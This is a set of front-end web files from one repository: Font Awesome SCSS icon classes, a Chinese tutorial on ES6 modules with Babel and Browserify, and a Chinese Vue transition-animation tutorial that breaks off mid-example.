.#{$fa-css-prefix}-resistance:before,
.#{$fa-css-prefix}-rebel:before { content: $fa-var-rebel; }
.#{$fa-css-prefix}-ge:before,
.#{$fa-css-prefix}-empire:before { content: $fa-var-empire; }
.#{$fa-css-prefix}-git-square:before { content: $fa-var-git-square; }
.#{$fa-css-prefix}-git:before { content: $fa-var-git; }
.#{$fa-css-prefix}-y-combinator-square:before,
.#{$fa-css-prefix}-yc-square:before,
.#{$fa-css-prefix}-hacker-news:before { content: $fa-var-hacker-news; }
.#{$fa-css-prefix}-tencent-weibo:before { content: $fa-var-tencent-weibo; }
.#{$fa-css-prefix}-qq:before { content: $fa-var-qq; }
.#{$fa-css-prefix}-wechat:before,
.#{$fa-css-prefix}-weixin:before { content: $fa-var-weixin; }
.#{$fa-css-prefix}-send:before,
.#{$fa-css-prefix}-paper-plane:before { content: $fa-var-paper-plane; }
.#{$fa-css-prefix}-send-o:before,
.#{$fa-css-prefix}-paper-plane-o:before { content: $fa-var-paper-plane-o; }
.#{$fa-css-prefix}-history:before { content: $fa-var-history; }
.#{$fa-css-prefix}-circle-thin:before { content: $fa-var-circle-thin; }
.#{$fa-css-prefix}-header:before { content: $fa-var-header; }
.#{$fa-css-prefix}-paragraph:before { content: $fa-var-paragraph; }
.#{$fa-css-prefix}-sliders:before { content: $fa-var-sliders; }
.#{$fa-css-prefix}-share-alt:before { content: $fa-var-share-alt; }
.#{$fa-css-prefix}-share-alt-square:before { content: $fa-var-share-alt-square; }
.#{$fa-css-prefix}-bomb:before { content: $fa-var-bomb; }
.#{$fa-css-prefix}-soccer-ball-o:before,
.#{$fa-css-prefix}-futbol-o:before { content: $fa-var-futbol-o; }
.#{$fa-css-prefix}-tty:before { content: $fa-var-tty; }
.#{$fa-css-prefix}-binoculars:before { content: $fa-var-binoculars; }
.#{$fa-css-prefix}-plug:before { content: $fa-var-plug; }
.#{$fa-css-prefix}-slideshare:before { content: $fa-var-slideshare; }
.#{$fa-css-prefix}-twitch:before { content: $fa-var-twitch; }
.#{$fa-css-prefix}-yelp:before { content: $fa-var-yelp; }
.#{$fa-css-prefix}-newspaper-o:before { content: $fa-var-newspaper-o; }
.#{$fa-css-prefix}-wifi:before { content: $fa-var-wifi; }
.#{$fa-css-prefix}-calculator:before { content: $fa-var-calculator; }
.#{$fa-css-prefix}-paypal:before { content: $fa-var-paypal; }
.#{$fa-css-prefix}-google-wallet:before { content: $fa-var-google-wallet; }
.#{$fa-css-prefix}-cc-visa:before { content: $fa-var-cc-visa; }
.#{$fa-css-prefix}-cc-mastercard:before { content: $fa-var-cc-mastercard; }
.#{$fa-css-prefix}-cc-discover:before { content: $fa-var-cc-discover; }
.#{$fa-css-prefix}-cc-amex:before { content: $fa-var-cc-amex; }
.#{$fa-css-prefix}-cc-paypal:before { content: $fa-var-cc-paypal; }
.#{$fa-css-prefix}-cc-stripe:before { content: $fa-var-cc-stripe; }
.#{$fa-css-prefix}-bell-slash:before { content: $fa-var-bell-slash; }
.#{$fa-css-prefix}-bell-slash-o:before { content: $fa-var-bell-slash-o; }
.#{$fa-css-prefix}-trash:before { content: $fa-var-trash; }
.#{$fa-css-prefix}-copyright:before { content: $fa-var-copyright; }
.#{$fa-css-prefix}-at:before { content: $fa-var-at; }
.#{$fa-css-prefix}-eyedropper:before { content: $fa-var-eyedropper; }
.#{$fa-css-prefix}-paint-brush:before { content: $fa-var-paint-brush; }
.#{$fa-css-prefix}-birthday-cake:before { content: $fa-var-birthday-cake; }
.#{$fa-css-prefix}-area-chart:before { content: $fa-var-area-chart; }
.#{$fa-css-prefix}-pie-chart:before { content: $fa-var-pie-chart; }
.#{$fa-css-prefix}-line-chart:before { content: $fa-var-line-chart; }
.#{$fa-css-prefix}-lastfm:before { content: $fa-var-lastfm; }
.#{$fa-css-prefix}-lastfm-square:before { content: $fa-var-lastfm-square; }
.#{$fa-css-prefix}-toggle-off:before { content: $fa-var-toggle-off; }
.#{$fa-css-prefix}-toggle-on:before { content: $fa-var-toggle-on; }
.#{$fa-css-prefix}-bicycle:before { content: $fa-var-bicycle; }
.#{$fa-css-prefix}-bus:before { content: $fa-var-bus; }
.#{$fa-css-prefix}-ioxhost:before { content: $fa-var-ioxhost; }
.#{$fa-css-prefix}-angellist:before { content: $fa-var-angellist; }
.#{$fa-css-prefix}-cc:before { content: $fa-var-cc; }
.#{$fa-css-prefix}-shekel:before,
.#{$fa-css-prefix}-sheqel:before,
.#{$fa-css-prefix}-ils:before { content: $fa-var-ils; }
.#{$fa-css-prefix}-meanpath:before { content: $fa-var-meanpath; }
.#{$fa-css-prefix}-buysellads:before { content: $fa-var-buysellads; }
.#{$fa-css-prefix}-connectdevelop:before { content: $fa-var-connectdevelop; }
.#{$fa-css-prefix}-dashcube:before { content: $fa-var-dashcube; }
.#{$fa-css-prefix}-forumbee:before { content: $fa-var-forumbee; }
.#{$fa-css-prefix}-leanpub:before { content: $fa-var-leanpub; }
.#{$fa-css-prefix}-sellsy:before { content: $fa-var-sellsy; }
.#{$fa-css-prefix}-shirtsinbulk:before { content: $fa-var-shirtsinbulk; }
.#{$fa-css-prefix}-simplybuilt:before { content: $fa-var-simplybuilt; }
.#{$fa-css-prefix}-skyatlas:before { content: $fa-var-skyatlas; }
.#{$fa-css-prefix}-cart-plus:before { content: $fa-var-cart-plus; }
.#{$fa-css-prefix}-cart-arrow-down:before { content: $fa-var-cart-arrow-down; }
.#{$fa-css-prefix}-diamond:before { content: $fa-var-diamond; }
.#{$fa-css-prefix}-ship:before { content: $fa-var-ship; }
.#{$fa-css-prefix}-user-secret:before { content: $fa-var-user-secret; }
.#{$fa-css-prefix}-motorcycle:before { content: $fa-var-motorcycle; }
.#{$fa-css-prefix}-street-view:before { content: $fa-var-street-view; }
.#{$fa-css-prefix}-heartbeat:before { content: $fa-var-heartbeat; }
.#{$fa-css-prefix}-venus:before { content: $fa-var-venus; }
.#{$fa-css-prefix}-mars:before { content: $fa-var-mars; }
.#{$fa-css-prefix}-mercury:before { content: $fa-var-mercury; }
.#{$fa-css-prefix}-intersex:before,
.#{$fa-css-prefix}-transgender:before { content: $fa-var-transgender; }
.#{$fa-css-prefix}-transgender-alt:before { content: $fa-var-transgender-alt; }
.#{$fa-css-prefix}-venus-double:before { content: $fa-var-venus-double; }
.#{$fa-css-prefix}-mars-double:before { content: $fa-var-mars-double; }
.#{$fa-css-prefix}-venus-mars:before { content: $fa-var-venus-mars; }
.#{$fa-css-prefix}-mars-stroke:before { content: $fa-var-mars-stroke; }
.#{$fa-css-prefix}-mars-stroke-v:before { content: $fa-var-mars-stroke-v; }
.#{$fa-css-prefix}-mars-stroke-h:before { content: $fa-var-mars-stroke-h; }
.#{$fa-css-prefix}-neuter:before { content: $fa-var-neuter; }
.#{$fa-css-prefix}-genderless:before { content: $fa-var-genderless; }
.#{$fa-css-prefix}-facebook-official:before { content: $fa-var-facebook-official; }
.#{$fa-css-prefix}-pinterest-p:before { content: $fa-var-pinterest-p; }
.#{$fa-css-prefix}-whatsapp:before { content: $fa-var-whatsapp; }
.#{$fa-css-prefix}-server:before { content: $fa-var-server; }
.#{$fa-css-prefix}-user-plus:before { content: $fa-var-user-plus; }
.#{$fa-css-prefix}-user-times:before { content: $fa-var-user-times; }
.#{$fa-css-prefix}-hotel:before,
.#{$fa-css-prefix}-bed:before { content: $fa-var-bed; }
.#{$fa-css-prefix}-viacoin:before { content: $fa-var-viacoin; }
.#{$fa-css-prefix}-train:before { content: $fa-var-train; }
.#{$fa-css-prefix}-subway:before { content: $fa-var-subway; }
.#{$fa-css-prefix}-medium:before { content: $fa-var-medium; }
.#{$fa-css-prefix}-yc:before,
.#{$fa-css-prefix}-y-combinator:before { content: $fa-var-y-combinator; }
.#{$fa-css-prefix}-optin-monster:before { content: $fa-var-optin-monster; }
.#{$fa-css-prefix}-opencart:before { content: $fa-var-opencart; }
.#{$fa-css-prefix}-expeditedssl:before { content: $fa-var-expeditedssl; }
.#{$fa-css-prefix}-battery-4:before,
.#{$fa-css-prefix}-battery:before,
.#{$fa-css-prefix}-battery-full:before { content: $fa-var-battery-full; }
.#{$fa-css-prefix}-battery-3:before,
.#{$fa-css-prefix}-battery-three-quarters:before { content: $fa-var-battery-three-quarters; }
.#{$fa-css-prefix}-battery-2:before,
.#{$fa-css-prefix}-battery-half:before { content: $fa-var-battery-half; }
.#{$fa-css-prefix}-battery-1:before,
.#{$fa-css-prefix}-battery-quarter:before { content: $fa-var-battery-quarter; }
.#{$fa-css-prefix}-battery-0:before,
.#{$fa-css-prefix}-battery-empty:before { content: $fa-var-battery-empty; }
.#{$fa-css-prefix}-mouse-pointer:before { content: $fa-var-mouse-pointer; }
.#{$fa-css-prefix}-i-cursor:before { content: $fa-var-i-cursor; }
.#{$fa-css-prefix}-object-group:before { content: $fa-var-object-group; }
.#{$fa-css-prefix}-object-ungroup:before { content: $fa-var-object-ungroup; }
.#{$fa-css-prefix}-sticky-note:before { content: $fa-var-sticky-note; }
.#{$fa-css-prefix}-sticky-note-o:before { content: $fa-var-sticky-note-o; }
.#{$fa-css-prefix}-cc-jcb:before { content: $fa-var-cc-jcb; }
.#{$fa-css-prefix}-cc-diners-club:before { content: $fa-var-cc-diners-club; }
.#{$fa-css-prefix}-clone:before { content: $fa-var-clone; }
.#{$fa-css-prefix}-balance-scale:before { content: $fa-var-balance-scale; }
.#{$fa-css-prefix}-hourglass-o:before { content: $fa-var-hourglass-o; }
.#{$fa-css-prefix}-hourglass-1:before,
.#{$fa-css-prefix}-hourglass-start:before { content: $fa-var-hourglass-start; }
.#{$fa-css-prefix}-hourglass-2:before,
.#{$fa-css-prefix}-hourglass-half:before { content: $fa-var-hourglass-half; }
.#{$fa-css-prefix}-hourglass-3:before,
.#{$fa-css-prefix}-hourglass-end:before { content: $fa-var-hourglass-end; }
.#{$fa-css-prefix}-hourglass:before { content: $fa-var-hourglass; }
.#{$fa-css-prefix}-hand-grab-o:before,
.#{$fa-css-prefix}-hand-rock-o:before { content: $fa-var-hand-rock-o; }
.#{$fa-css-prefix}-hand-stop-o:before,
.#{$fa-css-prefix}-hand-paper-o:before { content: $fa-var-hand-paper-o; }
.#{$fa-css-prefix}-hand-scissors-o:before { content: $fa-var-hand-scissors-o; }
.#{$fa-css-prefix}-hand-lizard-o:before { content: $fa-var-hand-lizard-o; }
.#{$fa-css-prefix}-hand-spock-o:before { content: $fa-var-hand-spock-o; }
.#{$fa-css-prefix}-hand-pointer-o:before { content: $fa-var-hand-pointer-o; }
.#{$fa-css-prefix}-hand-peace-o:before { content: $fa-var-hand-peace-o; }
.#{$fa-css-prefix}-trademark:before { content: $fa-var-trademark; }
.#{$fa-css-prefix}-registered:before { content: $fa-var-registered; }
.#{$fa-css-prefix}-creative-commons:before { content: $fa-var-creative-commons; }
.#{$fa-css-prefix}-gg:before { content: $fa-var-gg; }
.#{$fa-css-prefix}-gg-circle:before { content: $fa-var-gg-circle; }
.#{$fa-css-prefix}-tripadvisor:before { content: $fa-var-tripadvisor; }
.#{$fa-css-prefix}-odnoklassniki:before { content: $fa-var-odnoklassniki; }
.#{$fa-css-prefix}-odnoklassniki-square:before { content: $fa-var-odnoklassniki-square; }
.#{$fa-css-prefix}-get-pocket:before { content: $fa-var-get-pocket; }
.#{$fa-css-prefix}-wikipedia-w:before { content: $fa-var-wikipedia-w; }
.#{$fa-css-prefix}-safari:before { content: $fa-var-safari; }
.#{$fa-css-prefix}-chrome:before { content: $fa-var-chrome; }
.#{$fa-css-prefix}-firefox:before { content: $fa-var-firefox; }
.#{$fa-css-prefix}-opera:before { content: $fa-var-opera; }
.#{$fa-css-prefix}-internet-explorer:before { content: $fa-var-internet-explorer; }
.#{$fa-css-prefix}-tv:before,
.#{$fa-css-prefix}-television:before { content: $fa-var-television; }
.#{$fa-css-prefix}-contao:before { content: $fa-var-contao; }
.#{$fa-css-prefix}-500px:before { content: $fa-var-500px; }
.#{$fa-css-prefix}-amazon:before { content: $fa-var-amazon; }
.#{$fa-css-prefix}-calendar-plus-o:before { content: $fa-var-calendar-plus-o; }
.#{$fa-css-prefix}-calendar-minus-o:before { content: $fa-var-calendar-minus-o; }
.#{$fa-css-prefix}-calendar-times-o:before { content: $fa-var-calendar-times-o; }
.#{$fa-css-prefix}-calendar-check-o:before { content: $fa-var-calendar-check-o; }
.#{$fa-css-prefix}-industry:before { content: $fa-var-industry; }
.#{$fa-css-prefix}-map-pin:before { content: $fa-var-map-pin; }
.#{$fa-css-prefix}-map-signs:before { content: $fa-var-map-signs; }
.#{$fa-css-prefix}-map-o:before { content: $fa-var-map-o; }
.#{$fa-css-prefix}-map:before { content: $fa-var-map; }
.#{$fa-css-prefix}-commenting:before { content: $fa-var-commenting; }
.#{$fa-css-prefix}-commenting-o:before { content: $fa-var-commenting-o; }
.#{$fa-css-prefix}-houzz:before { content: $fa-var-houzz; }
.#{$fa-css-prefix}-vimeo:before { content: $fa-var-vimeo; }
.#{$fa-css-prefix}-black-tie:before { content: $fa-var-black-tie; }
.#{$fa-css-prefix}-fonticons:before { content: $fa-var-fonticons; }
.#{$fa-css-prefix}-reddit-alien:before { content: $fa-var-reddit-alien; }
.#{$fa-css-prefix}-edge:before { content: $fa-var-edge; }
.#{$fa-css-prefix}-credit-card-alt:before { content: $fa-var-credit-card-alt; }
.#{$fa-css-prefix}-codiepie:before { content: $fa-var-codiepie; }
.#{$fa-css-prefix}-modx:before { content: $fa-var-modx; }
.#{$fa-css-prefix}-fort-awesome:before { content: $fa-var-fort-awesome; }
.#{$fa-css-prefix}-usb:before { content: $fa-var-usb; }
.#{$fa-css-prefix}-product-hunt:before { content: $fa-var-product-hunt; }
.#{$fa-css-prefix}-mixcloud:before { content: $fa-var-mixcloud; }
.#{$fa-css-prefix}-scribd:before { content: $fa-var-scribd; }
.#{$fa-css-prefix}-pause-circle:before { content: $fa-var-pause-circle; }
.#{$fa-css-prefix}-pause-circle-o:before { content: $fa-var-pause-circle-o; }
.#{$fa-css-prefix}-stop-circle:before { content: $fa-var-stop-circle; }
.#{$fa-css-prefix}-stop-circle-o:before { content: $fa-var-stop-circle-o; }
.#{$fa-css-prefix}-shopping-bag:before { content: $fa-var-shopping-bag; }
.#{$fa-css-prefix}-shopping-basket:before { content: $fa-var-shopping-basket; }
.#{$fa-css-prefix}-hashtag:before { content: $fa-var-hashtag; }
.#{$fa-css-prefix}-bluetooth:before { content: $fa-var-bluetooth; }
.#{$fa-css-prefix}-bluetooth-b:before { content: $fa-var-bluetooth-b; }
.#{$fa-css-prefix}-percent:before { content: $fa-var-percent; }
.#{$fa-css-prefix}-gitlab:before { content: $fa-var-gitlab; }
.#{$fa-css-prefix}-wpbeginner:before { content: $fa-var-wpbeginner; }
.#{$fa-css-prefix}-wpforms:before { content: $fa-var-wpforms; }
.#{$fa-css-prefix}-envira:before { content: $fa-var-envira; }
.#{$fa-css-prefix}-universal-access:before { content: $fa-var-universal-access; }
.#{$fa-css-prefix}-wheelchair-alt:before { content: $fa-var-wheelchair-alt; }
.#{$fa-css-prefix}-question-circle-o:before { content: $fa-var-question-circle-o; }
.#{$fa-css-prefix}-blind:before { content: $fa-var-blind; }
.#{$fa-css-prefix}-audio-description:before { content: $fa-var-audio-description; }
.#{$fa-css-prefix}-volume-control-phone:before { content: $fa-var-volume-control-phone; }
.#{$fa-css-prefix}-braille:before { content: $fa-var-braille; }
.#{$fa-css-prefix}-assistive-listening-systems:before { content: $fa-var-assistive-listening-systems; }
.#{$fa-css-prefix}-asl-interpreting:before,
.#{$fa-css-prefix}-american-sign-language-interpreting:before { content: $fa-var-american-sign-language-interpreting; }
.#{$fa-css-prefix}-deafness:before,
.#{$fa-css-prefix}-hard-of-hearing:before,
.#{$fa-css-prefix}-deaf:before { content: $fa-var-deaf; }
.#{$fa-css-prefix}-glide:before { content: $fa-var-glide; }
.#{$fa-css-prefix}-glide-g:before { content: $fa-var-glide-g; }
.#{$fa-css-prefix}-signing:before,
.#{$fa-css-prefix}-sign-language:before { content: $fa-var-sign-language; }
.#{$fa-css-prefix}-low-vision:before { content: $fa-var-low-vision; }
.#{$fa-css-prefix}-viadeo:before { content: $fa-var-viadeo; }
.#{$fa-css-prefix}-viadeo-square:before { content: $fa-var-viadeo-square; }
.#{$fa-css-prefix}-snapchat:before { content: $fa-var-snapchat; }
.#{$fa-css-prefix}-snapchat-ghost:before { content: $fa-var-snapchat-ghost; }
.#{$fa-css-prefix}-snapchat-square:before { content: $fa-var-snapchat-square; }
.#{$fa-css-prefix}-pied-piper:before { content: $fa-var-pied-piper; }
.#{$fa-css-prefix}-first-order:before { content: $fa-var-first-order; }
.#{$fa-css-prefix}-yoast:before { content: $fa-var-yoast; }
.#{$fa-css-prefix}-themeisle:before { content: $fa-var-themeisle; }
.#{$fa-css-prefix}-google-plus-circle:before,
.#{$fa-css-prefix}-google-plus-official:before { content: $fa-var-google-plus-official; }
.#{$fa-css-prefix}-fa:before,
.#{$fa-css-prefix}-font-awesome:before { content: $fa-var-font-awesome; }
.#{$fa-css-prefix}-handshake-o:before { content: $fa-var-handshake-o; }
.#{$fa-css-prefix}-envelope-open:before { content: $fa-var-envelope-open; }
.#{$fa-css-prefix}-envelope-open-o:before { content: $fa-var-envelope-open-o; }
.#{$fa-css-prefix}-linode:before { content: $fa-var-linode; }
.#{$fa-css-prefix}-address-book:before { content: $fa-var-address-book; }
.#{$fa-css-prefix}-address-book-o:before { content: $fa-var-address-book-o; }
.#{$fa-css-prefix}-vcard:before,
.#{$fa-css-prefix}-address-card:before { content: $fa-var-address-card; }
.#{$fa-css-prefix}-vcard-o:before,
.#{$fa-css-prefix}-address-card-o:before { content: $fa-var-address-card-o; }
.#{$fa-css-prefix}-user-circle:before { content: $fa-var-user-circle; }
.#{$fa-css-prefix}-user-circle-o:before { content: $fa-var-user-circle-o; }
.#{$fa-css-prefix}-user-o:before { content: $fa-var-user-o; }
.#{$fa-css-prefix}-id-badge:before { content: $fa-var-id-badge; }
.#{$fa-css-prefix}-drivers-license:before,
.#{$fa-css-prefix}-id-card:before { content: $fa-var-id-card; }
.#{$fa-css-prefix}-drivers-license-o:before,
.#{$fa-css-prefix}-id-card-o:before { content: $fa-var-id-card-o; }
.#{$fa-css-prefix}-quora:before { content: $fa-var-quora; }
.#{$fa-css-prefix}-free-code-camp:before { content: $fa-var-free-code-camp; }
.#{$fa-css-prefix}-telegram:before { content: $fa-var-telegram; }
.#{$fa-css-prefix}-thermometer-4:before,
.#{$fa-css-prefix}-thermometer:before,
.#{$fa-css-prefix}-thermometer-full:before { content: $fa-var-thermometer-full; }
.#{$fa-css-prefix}-thermometer-3:before,
.#{$fa-css-prefix}-thermometer-three-quarters:before { content: $fa-var-thermometer-three-quarters; }
.#{$fa-css-prefix}-thermometer-2:before,
.#{$fa-css-prefix}-thermometer-half:before { content: $fa-var-thermometer-half; }
.#{$fa-css-prefix}-thermometer-1:before,
.#{$fa-css-prefix}-thermometer-quarter:before { content: $fa-var-thermometer-quarter; }
.#{$fa-css-prefix}-thermometer-0:before,
.#{$fa-css-prefix}-thermometer-empty:before { content: $fa-var-thermometer-empty; }
.#{$fa-css-prefix}-shower:before { content: $fa-var-shower; }
.#{$fa-css-prefix}-bathtub:before,
.#{$fa-css-prefix}-s15:before,
.#{$fa-css-prefix}-bath:before { content: $fa-var-bath; }
.#{$fa-css-prefix}-podcast:before { content: $fa-var-podcast; }
.#{$fa-css-prefix}-window-maximize:before { content: $fa-var-window-maximize; }
.#{$fa-css-prefix}-window-minimize:before { content: $fa-var-window-minimize; }
.#{$fa-css-prefix}-window-restore:before { content: $fa-var-window-restore; }
.#{$fa-css-prefix}-times-rectangle:before,
.#{$fa-css-prefix}-window-close:before { content: $fa-var-window-close; }
.#{$fa-css-prefix}-times-rectangle-o:before,
.#{$fa-css-prefix}-window-close-o:before { content: $fa-var-window-close-o; }
.#{$fa-css-prefix}-bandcamp:before { content: $fa-var-bandcamp; }
.#{$fa-css-prefix}-grav:before { content: $fa-var-grav; }
.#{$fa-css-prefix}-etsy:before { content: $fa-var-etsy; }
.#{$fa-css-prefix}-imdb:before { content: $fa-var-imdb; }
.#{$fa-css-prefix}-ravelry:before { content: $fa-var-ravelry; }
.#{$fa-css-prefix}-eercast:before { content: $fa-var-eercast; }
.#{$fa-css-prefix}-microchip:before { content: $fa-var-microchip; }
.#{$fa-css-prefix}-snowflake-o:before { content: $fa-var-snowflake-o; }
.#{$fa-css-prefix}-superpowers:before { content: $fa-var-superpowers; }
.#{$fa-css-prefix}-wpexplorer:before { content: $fa-var-wpexplorer; }
.#{$fa-css-prefix}-meetup:before { content: $fa-var-meetup; }
| Daotin/Web/07-移动Web开发/案例源码/03-微金所/lib/font-awesome-4.7.0/scss/_icons.scss/0 | {
"file_path": "Daotin/Web/07-移动Web开发/案例源码/03-微金所/lib/font-awesome-4.7.0/scss/_icons.scss",
"repo_id": "Daotin",
"token_count": 21492
} | 19 |
## ES6模块化
### 方式一
导出导入匿名函数,字符串,对象等。
```js
// 导出 sayHi.js
export default function() { console.log('Daotin') }
export default "Daotin"
export default {name:"Daotin"}
// 对应的导入
import xxx from './sayHi'
```
> 导入时,xxx名称可以随便起。
### 方式二
导出导入有名函数,字符串,对象等。导出时需要声明变量。该种导出方式 在导出一个值时 必须同时在此处声明该变量。即必须有关键字 let var const function class中的一种。
```js
// sayHi.js
export let foo = function() {}
export function add(a,b) { return a+b }
export let name = "Daotin";
//如果在导出时,变量已经声明过了,不能再次声明,则应该采取另外一种导出形式。
let obj = {name:"Daotin"}
export {obj}
// 对应的导入
import {foo, add, name, obj as o} from './sayHi'
```
> 导入时:名称不能随便起。
如果导入时需要给别名需要采用as的形式。(给obj起别名为o)
```js
import {foo, add, name, obj as o} from './sayHi'
```
### 方式一和方式二的区别:
> 1、方式一只能导出一次,即export default的方式只能使用一次,但是方式二可以使用多次。
>
> 2、方式一和方式二可以共存。
## ES6-Babel-Browserify使用
**实现:**
- 使用 **Babel** (https://www.babeljs.cn/)将 ES6 转化为 ES5代码(ES5代码中包含require)
- 使用 **Browserify** 编译打包 ES5 代码。
**操作步骤:**
1、定义package.json文件
```json
{
"name" : "es6-babel-browserify",
"version" : "1.0.0"
}
```
2、安装`babel-cli`, `babel-preset-es2015`和`browserify`
安装 babel-cli 后才可以在命令行使用 babel 命令;
cli:command line interface 命令行接口,可以在命令行中使用这些指令。
```
npm install babel-cli browserify -g
npm install babel-preset-es2015 --save-dev
```
3、定义`.babelrc`文件
此文件是babel命令执行的时候,首要要找的文件,里面写的是babel需要执行什么命令,这里是编译es2015(es6) 的命令。
```json
{
"presets": ["es2015"]
}
```
4、编码
* js/src/module1.js **(常规暴露:分别暴露)**
```js
export function foo() {
console.log('module1 foo()');
}
export let bar = function () {
console.log('module1 bar()');
}
export const DATA_ARR = [1, 3, 5, 1];
```
* js/src/module2.js **(常规暴露:统一暴露)**
```js
let data = 'module2 data'
function fun1() {
console.log('module2 fun1() ' + data);
}
function fun2() {
console.log('module2 fun2() ' + data);
}
export {fun1, fun2}
```
* js/src/module3.js **(默认暴露:可以暴露任意数据类型,暴露的什么数据,接收到的就是什么数据)**
```js
export default {
name: 'Daotin',
showName(){
console.log(this.name);
}
}
```
>默认暴露只能写一次,要想暴露多个,可以写个对象。
* js/src/app.js (**引入模块)**
```js
// 常规暴露,只能以对象解构赋值的形式引入模块
import {foo, bar} from './module1';
import {DATA_ARR} from './module1';
import {fun1, fun2} from './module2';
// 默认暴露,对象的引入名称可以随便起
import module3 from './module3';
// 引入第三方模块
import $ from 'jquery';
$('body').css('background', 'red');
foo();
bar();
console.log(DATA_ARR);
fun1();
fun2();
person.setName('JACK');
console.log(person.name);
```
5、编译
* 使用Babel将ES6代码编译为ES5代码(但包含CommonJS语法,里面有require方法)
```
babel js/src -d js/lib
```
* 使用Browserify编译js
```
browserify js/lib/main.js -o js/dist/bundle.js
```
6、页面中引入测试
```html
<script type="text/javascript" src="js/lib/bundle.js"></script>
```
7、引入第三方模块(jQuery)
- 下载jQuery模块:
```
npm install jquery@1 --save
```
- 在main.js中**直接使用包名**引入**(引入第三方的模块跟默认暴露的引入一样)**
```js
// 引入
import $ from 'jquery'
// 使用
$('body').css('background', 'red')
```
| Daotin/Web/09-模块化规范/05-ES6模块化教程.md/0 | {
"file_path": "Daotin/Web/09-模块化规范/05-ES6模块化教程.md",
"repo_id": "Daotin",
"token_count": 2333
} | 20 |
## 一、Vue的动画
为什么要有动画:动画能够提高用户的体验,帮助用户更好的理解页面中的功能;
Vue 中也有动画,不过远没有 css3 中的那么炫酷。只能有一些简单的变换,但是却可以配合第三方css动画库完成炫酷的变换。
### 1、过渡的类名
在进入/离开的过渡中,会有 6 个 class 切换。
- `v-enter`:定义**进入过渡的开始状态。**在元素被插入之前生效,在元素被插入之后的下一帧移除。
- `v-enter-active`:定义**进入过渡生效时的状态**。在整个进入过渡的阶段中应用,在元素被插入之前生效,在过渡/动画完成之后移除。这个类可以被用来定义进入过渡的过程时间,延迟和曲线函数。
- `v-enter-to`: 定义**进入过渡的结束状态。**在元素被插入之后下一帧生效 (与此同时 `v-enter` 被移除),在过渡/动画完成之后移除。
- `v-leave`: 定义**离开过渡的开始状态**。在离开过渡被触发时立刻生效,下一帧被移除。
- `v-leave-active`:定义**离开过渡生效时的状态**。在整个离开过渡的阶段中应用,在离开过渡被触发时立刻生效,在过渡/动画完成之后移除。这个类可以被用来定义离开过渡的过程时间,延迟和曲线函数。
- `v-leave-to`: 定义**离开过渡的结束状态**。在离开过渡被触发之后下一帧生效 (与此同时 `v-leave` 被删除),在过渡/动画完成之后移除。

要实现元素过渡,需要在添加过渡元素外边包裹上 `<transition> </transition>` 闭合标签。
然后将 `v-enter` 和 `v-leave-to` 分为一组,`v-enter-to` 和` v-leave `分为一组,`v-enter-active` 和 `v-leave-active` 分为一组。
`v-enter` 和 `v-leave-to` 设置动画的起始状态;
`v-enter-to` 和 `v-leave` 设置动画的结束状态;
`v-enter-active` 和 `v-leave-active` 设置动画的过渡时间和过渡效果。
**示例:点击按钮实现标签的淡入淡出:**
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<script src="./lib/vue-2.4.0.js"></script>
<style>
.v-enter,
.v-leave-to {
opacity: 0;
}
.v-enter-active,
.v-leave-active {
transition: opacity 1s ease;
}
</style>
</head>
<body>
<div id="box">
<input type="button" value="显示/隐藏" @click="flag=!flag">
<transition>
<h3 v-show="flag">这是一个H3标签</h3>
</transition>
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
flag: false
},
methods: {}
});
</script>
</body>
</html>
```

> 注意事项:
>
> 1、发生动画的元素必须被 `transition` 标签包裹。
>
> 2、动画的进入离开为css属性,写在style标签中。
>
> 3、对于这些在过渡中切换的类名来说,如果你使用一个没有名字的 `<transition>`,则 `v-`是这些类名的默认前缀。如果你使用了 `<transition name="my-transition">`,那么 `v-enter` 会替换为`my-transition-enter`。
### 2、使用插件实现动画
这里我们使用:`Animate.css` 第三方css插件。
官方网站:https://daneden.github.io/animate.css/
**使用方式:**
1、引入 animate.css 库文件
2、在 tramsition 标签中使用特定动画的类样式。
```html
<transition enter-active-class="animated zoomIn" leave-active-class="animated zoomOut" :duration="{ enter: 200, leave: 400 }">
<h3 v-show="flag">这是一个H3标签</h3>
</transition>
```
> 注意:
>
> 1、类样式一定要加基础类样式 `animated`
>
> 2、`enter-active-class` :表示进入动画样式
>
> `leave-active-class`:表示离开动画样式
>
> `:duration="{ enter: 200, leave: 400 }" `: 表示进入和离开的动画时间,单位ms。
>
> 如果只写 `:duration="200" `则表示进入和离开的事件都为200ms。
### 3、半程动画
有的时候我们只想实现动画的进入,不想实现动画的退出。比如将物品加入购物车的动画,会有一个商品掉入购物车的动画效果,但是我们却不需要商品再从购物车出来的动画效果,那么如何实现动画的半程效果呢?
使用 JavaScript 钩子函数:**(写在 transition 标签中)**
```html
<transition
v-on:before-enter="beforeEnter"
v-on:enter="enter"
v-on:after-enter="afterEnter"
v-on:enter-cancelled="enterCancelled"
v-on:before-leave="beforeLeave"
v-on:leave="leave"
v-on:after-leave="afterLeave"
v-on:leave-cancelled="leaveCancelled"
>
<!-- ... -->
</transition>
```
其中上面四个事件是进如动画的几个阶段:
- `before-enter` :动画进入之前的状态
- `enter`:动画进入结束时的状态
- `after-enter`:动画进入完成后的操作。
- `enter-cancelled`:动画进入中断的操作(一般不使用)
既然是事件绑定函数,那么就有需要在 methods 中填写对应的事件处理函数:
```js
methods: {
// --------
// 进入中
// --------
beforeEnter: function (el) {
// ...
},
enter: function (el, done) {
// ...
done()
},
afterEnter: function (el) {
// ...
}
```
> 其中:
>
> 1、参数 el 表示的是需要动画操作的 原生DOM对象。
>
> 2、当只用 JavaScript 过渡的时候,**在 enter 和 leave 中必须使用 done 进行回调**。enter中的done参数就相当于进入动画中的 afterEnter 函数,可以避免动画完成后的延迟。
>
> 3、这些钩子函数可以结合 CSS `transitions/animations` 使用,也可以单独使用。
>
**模拟商品掉入购物车过程**
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script src="./lib/vue-2.4.0.js"></script>
<style>
.ball {
width: 20px;
height: 20px;
border-radius: 50%;
background-color: blue;
margin-top: 10px;
}
</style>
</head>
<body>
<div id="box">
<input type="button" value="快到碗里来" @click="flag = !flag">
<transition @before-enter="beforeEnter" @enter="enter" @after-enter="afterEnter">
<div class="ball" v-show="flag"></div>
</transition>
</div>
<script>
var vm = new Vue({
el: "#box",
data: {
flag: false
},
methods: {
beforeEnter(el) {
el.style.transform = "translate(0, 0)";
},
